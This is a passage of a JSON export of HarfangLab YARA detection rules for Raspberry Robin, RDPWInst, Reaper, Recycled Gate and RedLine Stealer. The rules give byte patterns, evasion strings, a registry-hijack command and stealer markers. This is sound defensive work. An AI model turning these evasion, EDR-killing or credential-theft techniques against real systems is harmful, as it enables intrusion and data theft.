+  "content": "rule raspberry_robin {\n    meta:\n        title = \"Raspberry Robin Malware\"\n        id = \"684dbdd0-eb93-49c0-b6d5-95fc4996e701\"\n        description = \"Detects Raspberry Robin, an evasive malware primarily used as an initial access vector for threat actors and ransomware operations.\\nKnown for its worm-like behavior, Raspberry Robin often spreads through USB devices and leverages legitimate system processes to avoid detection.\\nIt is recommended to investigate for additional signs of malicious activity and to take contact with the end user in order to clean the infected USB key.\"\n        references = \"https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/\\nhttps://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/\\nhttps://research.checkpoint.com/2024/raspberry-robin-keeps-riding-the-wave-of-endless-1-days/\"\n        date = \"2024-03-19\"\n        modified = \"2025-07-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.initial_access;attack.t1091;attack.execution;attack.defense_evasion;attack.t1497;attack.t1218.002;attack.t1218.009;attack.t1218.010;attack.t1218.011;attack.t1055.001;attack.t1027.002;attack.t1027.007;attack.t1562.001;attack.t1622;attack.persistence;attack.t1547.001;attack.t1543.003;attack.command_and_control;attack.t1573;attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Worm.RaspberryRobin\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this samples:\n        // e5ab91456bdb1ec8c84d400152244fc90812bdd62e7170e75c9709bb83c8dad7\n        // ea3226ee1e0ff00714e7bbe9eb7647d4d8bbc200fed8555e3bbf22ba85d29e43\n\n        $stub_00 = {\n            8d 44 24 18                     // lea     eax, [esp+0x18 {var_78}]\n            [8-12]                          // mov     dword [data_10163394], 0x1595\n            8b 8c 24 80 00 00 00            // mov     ecx, dword [esp+0x80 {var_10}]\n            89 04 24                        // mov     dword [esp {var_90}], eax {var_78}\n            89 4c 24 04                     // mov     dword [esp+0x4 {var_8c_1}], ecx\n            [4-6]                           // call    sub_100c4250\n            89 e1                           // mov     ecx, esp {var_90}\n            8d 54 24 18                     // lea     edx, [esp+0x18 {var_78}]\n            89 11                           // mov     dword [ecx {var_90}], edx {var_78}\n            ff d0                           // call    eax\n            83 ec 04                        // sub     esp, 0x4\n            b8 02 00 00 00                  // mov     eax, 0x2\n        }\n\n        $stub_01 = {\n            8b 45 ??                        // mov     eax, dword [ebp-0x10 {var_14_1}]\n            8b 48 ??                        // mov     ecx, dword [eax+0x3c]\n            81 3c 08 50 45 00 00            // cmp     dword [eax+ecx], 0x4550\n            74 17                           // je      0x1000a4ec\n            eb 25                           // jmp     0x1000a4fc\n            8b 45 ??                        // mov     eax, dword [ebp-0xc {var_10}]\n            8b 4d ??                        // mov     ecx, dword [ebp-0x8 {var_c}]\n            66 81 39 4d 5a                  // cmp     word [ecx], 0x5a4d\n            89 45 ??                        // mov     dword [ebp-0x14 {var_18_1}], eax\n            89 4d ??                        // mov     dword [ebp-0x10 {var_14_1}], ecx\n            74 dc                           // je      0x1000a4c6\n            eb 10                           // jmp     0x1000a4fc\n            8b 45 ??                        // mov     eax, dword [ebp-0x14 {var_18_1}]\n            a3 ?? ?? ?? ??                  // mov     dword [data_102db338], eax\n            8b 45 ??                        // mov     eax, dword [ebp-0x10 {var_14_1}]\n            83 c4 ??                        // add     esp, 0x14\n            5d                              // pop     ebp {__saved_ebp}\n            c3                              // retn     {__return_addr}\n        }\n\n        $stub_02 = {\n            8b 45 ??                        // mov     eax, dword [ebp-0x24 {var_28}]\n            8b 4d ??                        // mov     ecx, dword [ebp-0x20 {var_24}]\n            8b 55 ??                        // mov     edx, dword [ebp-0x1c {var_20}]\n            01 ca                           // add     edx, ecx\n            89 15 ?? ?? ?? ??               // mov     dword [data_102db338], edx\n            8b 4d ??                        // mov     ecx, dword [ebp-0x14 {var_18}]\n            8a 1c ??                        // mov     bl, byte [ecx+eax]\n            8b 55 ??                        // mov     edx, dword [ebp-0x18 {var_1c}]\n            88 1c ??                        // mov     byte [edx+eax], bl\n            05 01 00 00 00                  // add     eax, 0x1\n            8b 75 ??                        // mov     esi, dword [ebp-0x10 {var_14}]\n            39 f0                           // cmp     eax, esi\n            89 45 ??                        // mov     dword [ebp-0x28 {var_2c_1}], eax\n            74 19                           // je      0x1000b3cb\n            a1 ?? ?? ?? ??                  // mov     eax, dword [data_102db334]\n            8b 0d ?? ?? ?? ??               // mov     ecx, dword [data_102db338]\n            8b 55 ??                        // mov     edx, dword [ebp-0x28 {var_2c_1}]\n            89 4d ??                        // mov     dword [ebp-0x1c {var_20}], ecx\n            89 45 ??                        // mov     dword [ebp-0x20 {var_24}], eax\n            89 55 ??                        // mov     dword [ebp-0x24 {var_28}], edx\n            eb bb                           // jmp     0x1000b386\n        }\n\n        $stub_03 = {\n            55                              // push    ebp {__saved_ebp}\n            89 e5                           // mov     ebp, esp {__saved_ebp}\n            57                              // push    edi {__saved_edi}\n            56                              // push    esi {__saved_esi}\n            83 ec 1c                        // sub     esp, 0x1c\n            8b 45 18                        // mov     eax, dword [ebp+0x18 {arg5}]\n            8b 4d 14                        // mov     ecx, dword [ebp+0x14 {arg4}]\n            8b 55 10                        // mov     edx, dword [ebp+0x10 {arg3}]\n            8b 75 0c                        // mov     esi, dword [ebp+0xc {arg2}]\n            8b 7d 08                        // mov     edi, dword [ebp+0x8 {arg1}]\n            c7 05 ?? ?? ?? ?? ?? ?? ?? ??   // mov     dword [data_1001af7c], 0x21bd\n            81 f9 00 00 00 00               // cmp     ecx, 0x0\n            89 45 f4                        // mov     dword [ebp-0xc {var_10}], eax\n            89 7d f0                        // mov     dword [ebp-0x10 {var_14}], edi\n            89 55 ec                        // mov     dword [ebp-0x14 {var_18}], edx\n            89 75 e8                        // mov     dword [ebp-0x18 {var_1c}], esi\n            75 19                           // jne     0x100071f9\n            8b 45 f0                        // mov     eax, dword [ebp-0x10 {var_14}]\n            89 04 24                        // mov     dword [esp {var_28_1}], eax\n            8b 4d e8                        // mov     ecx, dword [ebp-0x18 {var_1c}]\n            89 4c 24 04                     // mov     dword [esp+0x4 {var_24_1}], ecx\n            8b 55 f4                        // mov     edx, dword [ebp-0xc {var_10}]\n            89 54 24 08                     // mov     dword [esp+0x8 {var_20_1}], edx\n            e8 ?? ?? ?? ??                  // call    sub_100072f0\n        }\n\n        $stub04 = {\n            8B 85 [2] FF FF                 // mov     eax, [ebp+var_140]\n            B9 (42 01|01 00) 00 00          // mov     ecx, 142h\n            05 (01|08) 00 00 00             // add     eax, 8\n            3D (42|47) 01 00 00             // cmp     eax, 142h\n            89 85 [2] FF FF                 // mov     [ebp+var_140], eax\n            89 8D [2] FF FF                 // mov     [ebp+var_144], ecx\n            7? DD                           // jnz     short loc_402A87\n        }\n\n        $stub05 = {\n            89 85 F0 FE FF FF               // mov     [ebp+var_110], eax\n            FF D1                           // call    ecx ; __imp_GetModuleFileNameA\n            83 EC 0C                        // sub     esp, 0Ch\n            80 BD F7 FE FF FF ??            // cmp     [ebp+var_109], 54h ; 'T'\n            89 85 EC FE FF FF               // mov     [ebp+var_114], eax\n        }\n\n        $stub06 = {\n            8B 85 [2] FF FF                 // mov     eax, [ebp+var_140]\n            B9 (42 01|01 00) 00 00          // mov     ecx, 142h\n            05 (01|08) 00 00 00             // add     eax, 8\n            3D (42|47) 01 00 00             // cmp     eax, 142h\n            89 85 [2] FF FF                 // mov     [ebp+var_140], eax\n            89 8D [2] FF FF                 // mov     [ebp+var_144], ecx\n            7? DD                           // jnz     short loc_402A87\n        }\n\n        $stub07 = {\n            89 85 F0 FE FF FF               // mov     [ebp+var_110], eax\n            FF D1                           // call    ecx ; __imp_GetModuleFileNameA\n            83 EC 0C                        // sub     esp, 0Ch\n            80 BD F7 FE FF FF ??            // cmp     [ebp+var_109], 54h ; 'T'\n            89 85 EC FE FF FF               // mov     [ebp+var_114], eax\n        }\n\n        $stub08 = {\n            55                              //  push    ebp\n            89 E5                           //  mov     ebp, esp\n            53                              //  push    ebx\n            57                              //  push    edi\n            56                              //  push    esi\n            83 E4 F8                        //  and     esp, 0FFFFFFF8h\n            83 EC ??                        //  sub     esp, 60h\n            8B 45 0C                        //  mov     eax, [ebp+arg_4]\n            8B 4D 08                        //  mov     ecx, [ebp+arg_0]\n            31 D2                           //  xor     edx, edx\n            8A 1D 00 40 40 00               //  mov     bl, byte_404000\n            80 FB 00                        //  cmp     bl, 0\n        }\n\n        $stub09 = {\n            55                               // push    ebp\n            89 E5                            // mov     ebp, esp\n            ??                               // push    edi\n            56                               // push    esi\n            83 EC 34                         // sub     esp, 34h\n            8B 45 08                         // mov     eax, [ebp+arg_0]\n            8B 48 ??                         // mov     ecx, [eax+28h]\n            C6 01 4D                         // mov     byte ptr [ecx], 4Dh ; 'M'\n            C6 41 01 5A                      // mov     byte ptr [ecx+1], 5Ah ; 'Z'\n            C7 41 3C D0 00 00 00             // mov     dword ptr [ecx+3Ch], 0D0h\n            C7 81 D0 00 00 00 50 45 00 00    // mov     dword ptr [ecx+0D0h], 4550h\n            66 C7 81 D4 00 00 00 4C 01       // mov     word ptr [ecx+0D4h], 14Ch\n        }\n\n        $stub10 = {\n            89 E6                            // mov     esi, esp\n            C7 46 0C 04 00 00 00             // mov     dword ptr [esi+0Ch], 4\n            C7 46 08 00 10 00 00             // mov     dword ptr [esi+8], 1000h\n            C7 46 04 00 00 2E 00             // mov     dword ptr [esi+4], 2E0000h\n            C7 06 00 00 00 00                // mov     dword ptr [esi], 0\n        }\n\n        $emulation_api00 = \"MpCallPostEntryPointCode\" wide\n        $emulation_api01 = \"MpCallPreEntryPointCode\" wide ascii\n        $emulation_api02 = \"MpExitThread\" wide ascii\n        $emulation_api03 = \"MpFinalize\" wide ascii\n        $emulation_api04 = \"MpReportEvent\" wide ascii\n        $emulation_api05 = \"MpReportEventEx\" wide ascii\n        $emulation_api06 = \"MpReportEventW\" wide ascii\n        $emulation_api07 = \"MpSehHandler\" wide ascii\n        $emulation_api08 = \"MpStartProcess\" wide ascii\n        $emulation_api09 = \"MpSwitchToNextThread_WithCheck\" wide ascii\n        $emulation_api10 = \"MpVmp32Entry\" wide ascii\n        $emulation_api11 = \"MpVmp32FastEnter\" wide ascii\n\n        $filter_00 = \"mpengine.pdb\" ascii\n        $filter_01 = \"MsMpEngCP.pdb\" ascii\n        $filter_02 = \"MsMpEngSvc.pdb\" ascii\n        $filter_03 = \"MpGear.pdb\" ascii\n        $filter_04 = \"mrtstub.pdb\" ascii\n        $filter_05 = \"mrt.pdb\" ascii\n        $filter_06 = \"PEBMPAT:Obfuscator_EW2\" wide ascii\n        $filter_07 = \"Unimplemented type change to VT_\" wide ascii\n        $filter_08 = \"VirTool:Win32/Obfuscator\" wide ascii\n        $filter_09 = \"VDMConsoleOperation\" wide ascii\n        $filter_10 = \"VDMOperationStarted\" wide ascii\n        $filter_11 = \"MpValidateVFSHandle\" wide ascii\n        $filter_12 = \"mpSwitchToNextThread_NewObjMgr\" wide ascii\n        $filter_13 = \"Initialize engine first!\" wide ascii\n        $filter_14 = \"MpIntHandlerReturnAddress\" wide ascii\n        $filter_15 = \"MpDriver\" wide ascii\n        $filter_16 = \"ntoskrnl.pdb\" ascii\n        $filter_17 = \"Microsoft Corporation\" wide ascii\n        $filter_18 = \"mscorlib.pdb\" ascii\n        $filter_19 = \"dbghelp.pdb\" ascii\n        $filter_20 = \"msvcrt.pdb\" ascii\n        $filter_21 = \"sigutils\\\\vdlls\\\\\" ascii\n        $filter_22 = \"Microsoft.Windows.MalwareRemovalTool\" wide ascii\n        $filter_23 = \"mrt.exe\" wide ascii\n\n    condition:\n        1 of ($stub*) or (1 of ($emulation_*) and not 1 of ($filter*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "raspberry_robin"
+  ],
+  "rule_creation_date": "2024-03-19",
+  "rule_modified_date": "2025-07-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Worm.RaspberryRobin"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1497",
+    "attack.t1218.010",
+    "attack.t1055.001",
+    "attack.t1547.001",
+    "attack.t1543.003",
+    "attack.t1622",
+    "attack.t1573",
+    "attack.t1091",
+    "attack.t1218.009",
+    "attack.t1027.007",
+    "attack.t1218.011",
+    "attack.t1562.001",
+    "attack.t1218.002",
+    "attack.t1068",
+    "attack.t1027.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rdpwinst_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571027Z",
+  "creation_date": "2026-03-23T11:46:25.571029Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571036Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/stascorp/rdpwrap"
+  ],
+  "name": "rdpwinst.yar",
+  "content": "import \"pe\"\n\nrule rdpwinst {\n    meta:\n        title = \"RDPWInst Tool\"\n        id = \"bfff23e9-fd42-470f-96ae-579dfb8531ec\"\n        description = \"Detects RDPWInst, a tool to enable Remote Desktop Host support and concurrent RDP sessions on reduced functionality systems for home usage.\\nRDPWInst is often used by attackers like Ducktail for enabling unauthorized RDP access to target systems.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate.\"\n        references = \"https://github.com/stascorp/rdpwrap\"\n        date = \"2023-10-20\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.lateral_movement;attack.t1021.001\"\n        classification = \"Windows.Tool.RDPWInst\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9d36c4dd5dda9e1a8d67c13e43efc3b6c1847abd4487acad0a2b335019786e17\n\n        $s1 = \"[-] OpenKeyReadOnly error (code\" wide fullword\n        $s2 = \"[-] Another third-party TermService library is installed.\" wide fullword\n        $s3 = \"\\\\system32\\\\reg.exe\\\" add HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\TermService\\\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d \\\"\" wide fullword\n        $s4 = \"rdpwrap.ini\" wide fullword\n        $s5 = \"[*] RDP Wrapper Library is not installed.\" wide fullword\n        $s6 = \"[*] Your INI file is newer than public file. Are you a developer? :)\" wide fullword\n\n    condition:\n        4 of ($s*) or\n        pe.version_info[\"OriginalFilename\"] == \"RDPWInst.exe\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rdpwinst"
+  ],
+  "rule_creation_date": "2023-10-20",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.RDPWInst"
+  ],
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-reaper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580968Z",
+  "creation_date": "2026-03-23T11:46:25.580970Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580976Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/MrEmpy/Reaper/\nhttps://www.loldrivers.io/drivers/edd29861-6984-4dbe-8e7c-22e9b6cf68d0/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "reaper.yar",
+  "content": "rule reaper {\n    meta:\n        title = \"Reaper HackTool\"\n        id = \"73fff51d-ec3b-4286-94cf-676894844c6c\"\n        description = \"Detects the Reaper HackTool, a tool designed to kill protected processes using a vulnerable driver.\\nReaper loads the KProcessHacker.sys driver and uses it to terminate specified processes. This tool is often used to bypass process protection mechanisms, such as for killing EDR software.\\nIt is recommended to isolate the affected system, to unload and remove the KProcessHacker.sys driver and to investigate the process responsible for the execution of Reaper.\"\n        references = \"https://github.com/MrEmpy/Reaper/\\nhttps://www.loldrivers.io/drivers/edd29861-6984-4dbe-8e7c-22e9b6cf68d0/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        classification = \"Windows.HackTool.Reaper\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 32051f61c8d6d1d9bb19fd225ff3a3a2f6c06673f92398cf7178f235ecf3abf2\n\n        $s_device = \"\\\\\\\\.\\\\GlobalRoot\\\\Device\\\\KProcessHacker2\" wide ascii\n        $s_winapi_01 = \"CreateFile\" wide ascii\n        $s_winapi_02 = \"DeviceIoControl\" wide ascii\n        $s_winapi_03 = \"OpenSCManager\" wide ascii\n        $s_winapi_04 = \"OpenService\" wide ascii\n        $s_winapi_05 = \"StartService\" wide ascii\n        $s_winapi_06 = \"ControlService\" wide ascii\n        $s_winapi_07 = \"CreateService\" wide ascii\n        $s_winapi_08 = \"OpenProcess\" wide ascii\n        $ioctl_kill = { (99 99 20 df|df 20 99 99) }\n        $ioctl_suspend = { (99 99 20 d7|d7 20 99 99) }\n\n        $filter_01 = \"SeDebugPrivilege\" wide ascii\n\n    condition:\n        1 of ($ioctl_*)\n        and all of ($s_*)\n        and not $filter_01\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "reaper"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Reaper"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-recycledgate_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585914Z",
+  "creation_date": "2026-03-23T11:46:25.585917Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585926Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/thefLink/RecycledGate/"
+  ],
+  "name": "recycledgate.yar",
+  "content": "rule recycledgate {\n    meta:\n        title = \"Recycled Gate Technique\"\n        id = \"6dba5071-2641-4cef-9f5f-6b1e8c664838\"\n        description = \"Detects the Recycled Gate technique.\\nRecycled Gate is a technique used to bypass user-mode hooking in security tools like EDRs (Endpoint Detection and Response) through direct syscalls.\\nIt operates as a variation of HellsGate, which manipulates syscall parameters to avoid detection.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/thefLink/RecycledGate/\"\n        date = \"2023-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Windows.Generic.RecycledGate\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // d32d6ff536a22ed155879715c34b711f531c8384becf73849a66a938ef2b1505\n        // bbe6f27a0ffa7ef62a615def2a348e6c768bcdba3554e9f6d32e1e01d595ed3f\n        // f9b47d6e79f6fcbecef5788ea12c333b96ba9aafe8754acddd56664167902690\n\n        $s1 = \"[*] Resolving Syscall: %x\" ascii fullword\n        $s2 = \"Found syscall using Hells Gate\" ascii\n        $s3 = \"Syscall nr: %d\" ascii\n        $s4 = \"Gate: %p\"  ascii\n\n        // https://github.com/thefLink/RecycledGate/blob/main/src/GateTrampolin.asm\n        $trampoline_1 = {\n            // PrepareSyscall\n            4D 33 DB                              // xor     r11, r11\n            4D 33 D2                              // xor     r10, r10\n            4C 8B D9                              // mov     r11, rcx\n            4C 8B D2                              // mov     r10, rdx\n            C3                                    // retn\n\n            // DoSyscall\n            41 52                                 // push    r10\n            48 33 C0                              // xor     rax, rax\n            4C 8B D1                              // mov     r10, rcx\n            41 8B C3                              // mov     eax, r11d\n            C3                                    // retn\n        }\n        $trampoline_2 = {\n            // PrepareSyscall\n            4D 31 DB                              // xor     r11, r11\n            4D 31 D2                              // xor     r10, r10\n            49 89 CB                              // mov     r11, rcx\n            49 89 D2                              // mov     r10, rdx\n            C3                                    // retn\n\n            // DoSyscall\n            41 52                                 // push    r10\n            48 31 C0                              // xor     rax, rax\n            49 89 CA                              // mov     r10, rcx\n            44 89 D8                              // mov     eax, r11d\n            C3                                    // retn\n        }\n\n    condition:\n        3 of ($s*) or 1 of ($trampoline_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "recycledgate"
+  ],
+  "rule_creation_date": "2023-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RecycledGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-redline_stealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568237Z",
+  "creation_date": "2026-03-23T11:46:25.568241Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568250Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://socradar.io/what-is-redline-stealer-and-what-can-you-do-about-it/\nhttps://www.cloudsek.com/blog/technical-analysis-of-the-redline-stealer"
+  ],
+  "name": "redline_stealer.yar",
+  "content": "rule redline_stealer {\n    meta:\n        title = \"RedLine Stealer\"\n        id = \"3824d3e0-34bc-48b4-ae8e-2c481e1f5078\"\n        description = \"Detects the RedLine Stealer malware.\\nRedLine Stealer is a malicious software used to steal sensitive information from infected systems. It collects data from browsers like Gecko and Chromium-based ones, targeting authentication details such as cookies, credit card information, and login credentials.\\nIt is recommended to remove any traces of the malware.\"\n        references = \"https://socradar.io/what-is-redline-stealer-and-what-can-you-do-about-it/\\nhttps://www.cloudsek.com/blog/technical-analysis-of-the-redline-stealer\"\n        date = \"2023-09-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555.003\"\n        classification = \"Windows.Stealer.RedLine\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 101955ce9bc6b74a01f44f7e2a30ca960b86d36650c2d069944e33a51e7a05c6\n        // 2c1eeb7097023c784c2bd040a2005a5070ed6f3a4abf13929377a9e39fab1390\n        // 0226012d07469431fc88548fecdd4cc6e38bde912dfbdd0fd943402717b494cb\n\n        $sa_1 = \"ParseDiscordTokens\" ascii\n        $sa_2 = \"EnumerateDirectories\" ascii\n        $sa_3 = \"get_Credentials\" ascii fullword\n        $sa_4 = \"browserPaths\" ascii fullword\n        $sa_5 = \"chiperText\" ascii fullword\n        $sa_6 = \"scanners\" ascii fullword\n\n        $sw_1 = \"ParseDiscordTokens\" wide\n        $sw_2 = \"EnumerateDirectories\" wide\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "redline_stealer"
+  ],
+  "rule_creation_date": "2023-09-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.RedLine"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-reflective_loader_5c8949b7f037_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563621Z",
+  "creation_date": "2026-03-23T11:46:25.563623Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563629Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal Research"
+  ],
+  "name": "reflective_loader_5c8949b7f037.yar",
